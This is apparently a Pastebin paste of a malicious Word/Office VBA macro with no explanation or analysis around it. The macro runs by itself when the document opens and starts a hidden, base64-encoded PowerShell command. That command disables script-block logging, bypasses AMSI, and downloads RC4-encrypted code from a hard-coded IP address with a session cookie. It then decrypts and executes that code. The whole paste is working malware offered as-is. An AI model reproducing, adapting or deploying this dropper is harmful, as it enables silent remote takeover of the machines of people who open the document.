Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub Auto_Open()
- GcHU
- End Sub
- Sub AutoOpen()
- GcHU
- End Sub
- Sub Document_Open()
- GcHU
- End Sub
- Public Function GcHU() As Variant
- Dim tJIi As String
- tJIi = "powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVg"
- tJIi = tJIi + "BlAFIAUwBpAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBFAHIAcwBJ"
- tJIi = tJIi + "AG8AbgAuAE0AYQBKAE8AUgAgAC0ARwBFACAAMwApAHsAJABHAF"
- tJIi = tJIi + "AARgA9AFsAUgBlAEYAXQAuAEEAUwBzAGUAbQBCAGwAeQAuAEcA"
- tJIi = tJIi + "RQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
- tJIi = tJIi + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
- tJIi = tJIi + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkAZQBgAEwAZAAiAC"
- tJIi = tJIi + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
- tJIi = tJIi + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
- tJIi = tJIi + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABH"
- tJIi = tJIi + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAE"
- tJIi = tJIi + "EATABVAEUAKAAkAE4AVQBsAEwAKQA7AEkAZgAoACQARwBQAEMA"
- tJIi = tJIi + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
- tJIi = tJIi + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
- tJIi = tJIi + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
- tJIi = tJIi + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
- tJIi = tJIi + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
- tJIi = tJIi + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
- tJIi = tJIi + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
- tJIi = tJIi + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
- tJIi = tJIi + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBMAD0AWwBDAE8ATA"
- tJIi = tJIi + "BMAGUAQwB0AGkAbwBOAHMALgBHAGUATgBlAHIAaQBDAC4ARABp"
- tJIi = tJIi + "AGMAdABpAE8AbgBhAHIAWQBbAFMAVAByAGkATgBHACwAUwBZAH"
- tJIi = tJIi + "MAVABlAE0ALgBPAGIAagBlAEMAVABdAF0AOgA6AE4AZQBXACgA"
- tJIi = tJIi + "KQA7ACQAdgBBAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
- tJIi = tJIi + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
- tJIi = tJIi + "AGcAJwAsADAAKQA7ACQAVgBhAGwALgBBAEQAZAAoACcARQBuAG"
- tJIi = tJIi + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
- tJIi = tJIi + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
- tJIi = tJIi + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
- tJIi = tJIi + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
- tJIi = tJIi + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
- tJIi = tJIi + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
- tJIi = tJIi + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
- tJIi = tJIi + "AD0AJAB2AGEATAB9AEUAbABTAGUAewBbAFMAYwByAEkAUABUAE"
- tJIi = tJIi + "IATABvAGMAawBdAC4AIgBHAGUAVABGAEkARQBgAGwARAAiACgA"
- tJIi = tJIi + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
- tJIi = tJIi + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
- tJIi = tJIi + "AHQAVgBBAGwAVQBFACgAJABuAFUAbABMACwAKABOAGUAVwAtAE"
- tJIi = tJIi + "8AQgBqAGUAQwB0ACAAQwBvAGwATABFAGMAVABJAG8ATgBTAC4A"
- tJIi = tJIi + "RwBlAE4AZQByAEkAQwAuAEgAQQBTAGgAUwBFAFQAWwBzAFQAUg"
- tJIi = tJIi + "BpAG4ARwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAUwBzAGUAbQBC"
- tJIi = tJIi + "AGwAWQAuAEcARQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC"
- tJIi = tJIi + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
- tJIi = tJIi + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
- tJIi = tJIi + "BfAH0AfAAlAHsAJABfAC4ARwBFAFQARgBpAGUATABkACgAJwBh"
- tJIi = tJIi + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
- tJIi = tJIi + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUA"
- tJIi = tJIi + "VABWAEEAbAB1AEUAKAAkAG4AdQBsAGwALAAkAHQAUgB1AEUAKQ"
- tJIi = tJIi + "B9ADsAfQA7AFsAUwB5AFMAdABlAG0ALgBOAGUAVAAuAFMAZQBS"
- tJIi = tJIi + "AHYAaQBjAGUAUABPAGkATgBUAE0AYQBOAGEARwBlAHIAXQA6AD"
- tJIi = tJIi + "oARQBYAHAAZQBjAHQAMQAwADAAQwBPAE4AdABJAE4AdQBlAD0A"
- tJIi = tJIi + "MAA7ACQAVwBjAD0ATgBlAFcALQBPAEIAagBFAEMAVAAgAFMAeQ"
- tJIi = tJIi + "BTAFQAZQBNAC4ATgBlAHQALgBXAEUAYgBDAGwASQBFAE4AdAA7"
- tJIi = tJIi + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
- tJIi = tJIi + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
- tJIi = tJIi + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
- tJIi = tJIi + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
- tJIi = tJIi + "AHcAQwAuAEgARQBhAGQARQBSAHMALgBBAGQAZAAoACcAVQBzAG"
- tJIi = tJIi + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAA"
- tJIi = tJIi + "UgBPAFgAWQA9AFsAUwBZAHMAVABlAG0ALgBOAEUAVAAuAFcARQ"
- tJIi = tJIi + "BCAFIARQBxAFUAZQBTAFQAXQA6ADoARABlAEYAQQBVAGwAdABX"
- tJIi = tJIi + "AGUAQgBQAHIAbwB4AHkAOwAkAHcAQwAuAFAAcgBvAHgAeQAuAE"
- tJIi = tJIi + "MAcgBFAGQAZQBOAHQAaQBhAGwAcwAgAD0AIABbAFMAWQBzAFQA"
- tJIi = tJIi + "RQBNAC4ATgBFAHQALgBDAHIARQBEAEUATgBUAGkAYQBsAEMAYQ"
- tJIi = tJIi + "BDAEgAZQBdADoAOgBEAGUAZgBhAHUATABUAE4AZQBUAHcATwBS"
- tJIi = tJIi + "AEsAQwByAEUARABFAG4AdABJAEEATABTADsAJABTAGMAcgBpAH"
- tJIi = tJIi + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
- tJIi = tJIi + "eQA7ACQASwA9AFsAUwBZAHMAVABFAG0ALgBUAGUAWABUAC4ARQ"
- tJIi = tJIi + "BOAEMATwBkAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQBU"
- tJIi = tJIi + "AEIAeQB0AGUAcwAoACcARwBOAHgAbAB1ADAAWQAmAEAASQApAD"
- tJIi = tJIi + "gAcAByAEQAXQBGADIANwBPAEoAZwBMAHMAewA1AD4AQgAtAGoA"
- tJIi = tJIi + "aQA7ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZw"
- tJIi = tJIi + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
- tJIi = tJIi + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
- tJIi = tJIi + "sAJABfACUAJABLAC4AQwBvAFUAbgB0AF0AKQAlADIANQA2ADsA"
- tJIi = tJIi + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
- tJIi = tJIi + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
- tJIi = tJIi + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
- tJIi = tJIi + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
- tJIi = tJIi + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
- tJIi = tJIi + "A7ACQAXwAtAEIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
- tJIi = tJIi + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
- tJIi = tJIi + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQA4AC4AMgAyADUALgAyADgA"
- tJIi = tJIi + "LgAxADYANgA6ADgAMAAnADsAJAB0AD0AJwAvAGEAZABtAGkAbg"
- tJIi = tJIi + "AvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBDAC4ASABFAEEARABl"
- tJIi = tJIi + "AFIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAG"
- tJIi = tJIi + "UAcwBzAGkAbwBuAD0AYgBXAFMARABGAE4AdQBMAHAAcwB3AFMA"
- tJIi = tJIi + "SAAwAFMAZAB5AC8AZwBEAFEAaABIAGEAMQBoAFUAPQAiACkAOw"
- tJIi = tJIi + "AkAEQAYQB0AGEAPQAkAFcAQwAuAEQATwBXAG4AbABvAGEAZABE"
- tJIi = tJIi + "AEEAdABhACgAJABzAGUAcgArACQAVAApADsAJABJAHYAPQAkAE"
- tJIi = tJIi + "QAQQB0AGEAWwAwAC4ALgAzAF0AOwAkAEQAQQBUAEEAPQAkAGQA"
- tJIi = tJIi + "YQBUAEEAWwA0AC4ALgAkAEQAYQBUAEEALgBsAGUAbgBnAFQASA"
- tJIi = tJIi + "BdADsALQBqAE8ASQBOAFsAQwBIAGEAUgBbAF0AXQAoACYAIAAk"
- tJIi = tJIi + "AFIAIAAkAGQAYQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AE"
- tJIi = tJIi + "kARQBYAA=="
- Const HIDDEN_WINDOW = 0
- strComputer = "."
- Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
- Set objStartup = objWMIService.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = HIDDEN_WINDOW
- Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
- objProcess.Create tJIi, Null, objConfig, intProcessID
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement